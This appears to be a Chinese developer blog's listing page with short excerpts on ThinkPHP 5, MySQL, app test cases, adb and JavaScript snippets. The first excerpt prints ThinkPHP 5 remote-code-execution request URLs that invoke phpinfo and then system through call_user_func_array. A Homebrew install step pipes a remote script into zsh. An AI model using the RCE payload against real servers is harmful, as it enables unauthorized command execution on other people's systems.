- 博客(29)
- 资源 (2)
- 收藏
- 关注

原创 tp5远程代码执行漏洞
1.查看网站版本信息/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[
2019-01-09 14:16:54
9499
3
原创 Mac Myql修改密码
use mysql;ALTER user 'root'@'localhost' IDENTIFIED BY 'newpassward' Mysql.service restart
2021-06-07 16:56:18
122
原创 Mac安装mysql
1、安装brew包管理器/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"2、brew install mysql过程中会遇到MAC系统root用户无法使用brew命令使用brew安装程序提示如下错误Error: Running Homebrew as root is extremely dangerous and no longersupported.As Homeb
2021-06-07 10:25:03
158
原创 APP通用测试用例~易用性
ID 用例名称 用例描述 预期结果 优先级 实际结果 是否通过 BUG描述 备注 1 布局和设计 检查各界面的布局和视觉设计-> 可点击的元素(例如按钮),应当设计成明显可点击的样子 4 2 布局可以帮助用户把注意力集中在下一步要做的东西上 4 3 用户常用的信息和功能应该放到显而易见的地方 4 ...
2021-04-29 22:34:06
2355
原创 APP通用测试用例~安全性
ID 测试要点 测试步骤 预期结果 优先级 实际结果 是否通过 BUG描述 1 权限测试 扣费风险 查看语记有无扣费风险 无扣费风险 1 2 网络连接 查看能否限制/允许语记接入网络 能够设置 1 3 手机定位功能 查看能否限制/允许语记使用定位功能 能够设置 1 4 ...
2021-04-29 22:32:30
820
原创 项目流程
1.总体流程需求定义---需求评审---产品研发---功能测试---上线部署---线上回归---线上验证2.项目前期 (需求定义)PM根据客服 客户反馈 写出市场调研报告MRDQA:需求是否合理 扣一下细节熟悉项目的模块功能 总结用例编写 熟悉权限3. 需求评审需求评审会:PM主持 QA RD 需要参加QA: 需求是否合理 扣一下细节PM针对评审会记录修改文档细节RD根据MRD拆分开发任务,并确定各功能负责人;确定出图时间,参考此时间分配开发...
2021-04-29 22:29:04
302
原创 adb和Monkey的特征
手机调试模式adb version 查看adb版本号adb devicesi 查看电脑连接手机状态信息adb kill-server 杀死adb服务,当手机通过USB连接电脑,但adb查看不到时。可以杀死进程,重启服务。adb logcat -v time|grep com.timeweekly.timefinance(软件包名) >D:\log.txt把手机运行过程中的日志打印后,输出到本都磁盘文件中安装软件包./adb install ../32213.apk(路径+软件包
2021-04-15 21:19:27
214
原创 logo 优化
11. logo 优化logo 里面 首先放一个 h1 标签 ,目的是为了提权,告诉搜索引擎,这个地方很重要h1里面在放一个连接,可以返回首页的, 给连接一个 大小 和 logo 的背景图片连接 里面要放文字(网站名称),为了搜索引擎收录我们。 但是文字不要显示出来要用 text-indent 移到盒子外面 (text-indent: -9999px) 然后overflow:hidden 淘宝的做法直接给font-size: 0; 就看不到文字了, 京东的做法。最后
2020-09-08 18:31:13
283
原创 搭建 WordPress 个人博客
准备 LAMP 环境LAMP 是 Linux、Apache、MySQL 和 PHP 的缩写,是 Wordpress 系统依赖的基础运行环境。我们先来准备 LAMP 环境:(由于部分服务安装过程中展示需要,建议您将下方终端部分的高度通过拖拽方式调高一点)安装 Apache2在终端输入该命令 ,使用 apt-get 安装 Apache2:sudo apt-get install apache...
2019-04-23 17:59:58
306
原创 TP5的模板继承
父页面<html lang="zh"><head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" ...
2019-04-17 11:34:34
895
原创 php闭包
//传递参数 $message = 'word'; $example = function ($arg) use ($message) { var_dump($arg . ' ' . $message); }; $example("hello");
2019-04-16 17:46:00
292
原创 jQuery JS全选全不选
jQuery全选全不选$(function() { $('.input').click(function() { if (this.checked) { $(this).parents('div.row1').find("input[name='checkbox']").prop("checked", "true"); } else...
2019-04-16 11:59:56
140
原创 Js 去掉空格方法
String.prototype.Trim = function(){ return this.replace(/(^\s*)|(\s*$)/g, ""); }String.prototype.LTrim = function(){ return this.replace(/(^\s*)/g, ""); }String.prototype.RTrim = f...
2019-04-15 17:48:02
670
原创 JS生成随机数
function randombetween(min, max){ return min + (Math.random() * (max-min +1)); }
2019-04-15 17:42:43
649
原创 JS判断数组元素是否重复
var isRepeat = function(arr) { //arr是否有重复元素 var hash = {}; for (var i in arr) { if (hash[arr[i]) return true; hash[arr[i] = true; } return false; };...
2019-04-15 17:41:40
1722
原创 tp5常见问题
1.模型的save方法调用后怎么获取自增主键的值?模型的save方法用于模型对象的保存(包括新增和更新)操作,当新增数据后,返回值不再返回主键,而是统一返回影响的记录数(一般为1或者0),如果需要获取自增主键的值,可以使用下面的方法:$user = new User;$user->name = 'thinkphp';$user->email = 'thinkphp@qq.com...
2019-04-07 10:13:24
400
原创 TP5验证规则
格式验证类:1. require验证某个字段必须,例如:‘name’=>‘require’2.number 或者 integer验证某个字段的值是否为数字(采用filter_var验证),例如:‘num’=>‘number’3.float验证某个字段的值是否为浮点数字(采用filter_var验证),例如:‘num’=>‘float’4.boolean验证某个字...
2019-04-04 09:54:56
2339
原创 正则匹配所有的a标签
<a\b[>]+\bhref="(["])"[^>]>([\s\S]*?)分组1和分组2即为href和value解释:<a\b #匹配a标签的开始[^>]+ #匹配a标签中href之前的内容\bhref...
2019-01-30 21:59:00
4470
转载 初识 Nginx
Nginx 是一个免费的,开源的,高性能的HTTP服务器和反向代理,以及IMAP / POP3代理服务器。 Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。很多高知名度的网站都使用 Nginx,如:Netflix,GitHub,SoundCloud,MaxCDN 等。Nginx 有一个主线程( master process)和几个工作线程(worker process...
2019-01-11 19:50:11
189
转载 PHP漏洞全解(详细介绍)
转载 http://www.jb51.net/article/31898.htm针对PHP的网站主要存在下面几种攻击方式:1、命令注入(Command Injection)2、eval注入(Eval Injection)3、客户端脚本攻击(Script Insertion)4、跨网站脚本攻击(Cross Site Scripting, XSS)5、SQL注入攻击(SQL inject...
2019-01-10 10:54:55
12311
原创 phpstorm+xdebug进行断点调试
php的配置我是用phpstudy的,所以在php目录下面都会有内置的插件:phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll如果是其他环境的话可以去官网下载相对应的版本:https://xdebug.org/download.php然后放在ext目录下面,然后在php.ini配置文件里面加上以下内容:[XDebug]...
2019-01-09 15:56:12
574
原创 自己定义的常用PHP函数
1.搜索二维数组中是否存在某个值 /*** * @desc: 搜索二维数组中是否存在某个值 * @param $array * @param $str * @return bool */ function arrayCheck($array,$str) { $arrayList = array_colu...
2019-01-08 15:30:28
233
原创 tp5 excel导入导出
1.下载phpExcel,解压后放到vendor目录下phpExcel下载地址2.贴出视图代码&amp;amp;lt;!DOCTYPE html&amp;amp;gt;&amp;amp;lt;html lang=&amp;quot;en&amp;quot;&amp;amp;gt;&amp;amp;lt;head&amp;amp;gt; &amp;
2019-01-08 14:33:07
1514
原创 tp5使用layui异步上传图片
上传文件任何地方都要用到,这篇文章介绍使用layui异步上传图片。1.视图代码<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>上传插件</title> <link hre
2019-01-07 14:19:33
2948
原创 tp5生成二维码
在只能手机如此普及的今天,二维码作为推广的的展现,应用的越来越多了。一个二维码中可以蕴藏很多信息。那么,就让我来介绍一下,如何在 thinkphp5 框架中生成二维码。1.下载类库composer require aferrandini/phpqrcode2.在 common.php 中新建,生成二维码函数/** * 功能:生成二维码 * @param string $qrData...
2019-01-07 12:52:22
6022
原创 tp5身份证号验证
身份证验证最简单的就是判断长度了,当然这种非常简单破了如果要更规则一点我们需要对身份证号码进行一些按生成规则验证了,下面整理了一些方法我们来看看。方法放到全局作用域application/common.php文件1.在 application 下的 common.php 中添加如下方法:/*** * 身份证真实性验证规则 */function validation_filter_id...
2019-01-07 12:03:36
5232
3
转载 tp5中的No input file specified
我使用的是PHP-study环境,当PHP的版本号为5.5.38的时候,正常;但是在PHP7的时候就会报No input file specified这个问题。这是因为路由的问题1.我们只需打开public/.htaccess文件;2.将最后一行的代码改成这样: RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]...
2019-01-06 20:12:41
345
原创 tp5验证码
图形验证码下面功能相关的目录登录时,没有图形验证码的话,很容被机器人进行模拟登录,对网站安全有很大的威胁。因此,验证码是登录功能所必须的。下面,我们就给我们的登录功能,加上验证码。下面功能相关的目录首先使用Composer安装think-captcha扩展包,通过命令行,进入 D:\www\phper。(您根据实际情况处理)composer require topthink/thi...
2019-01-06 18:53:30
1761
TP5的PHPExcel包实现导入导出功能
2019-01-08
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人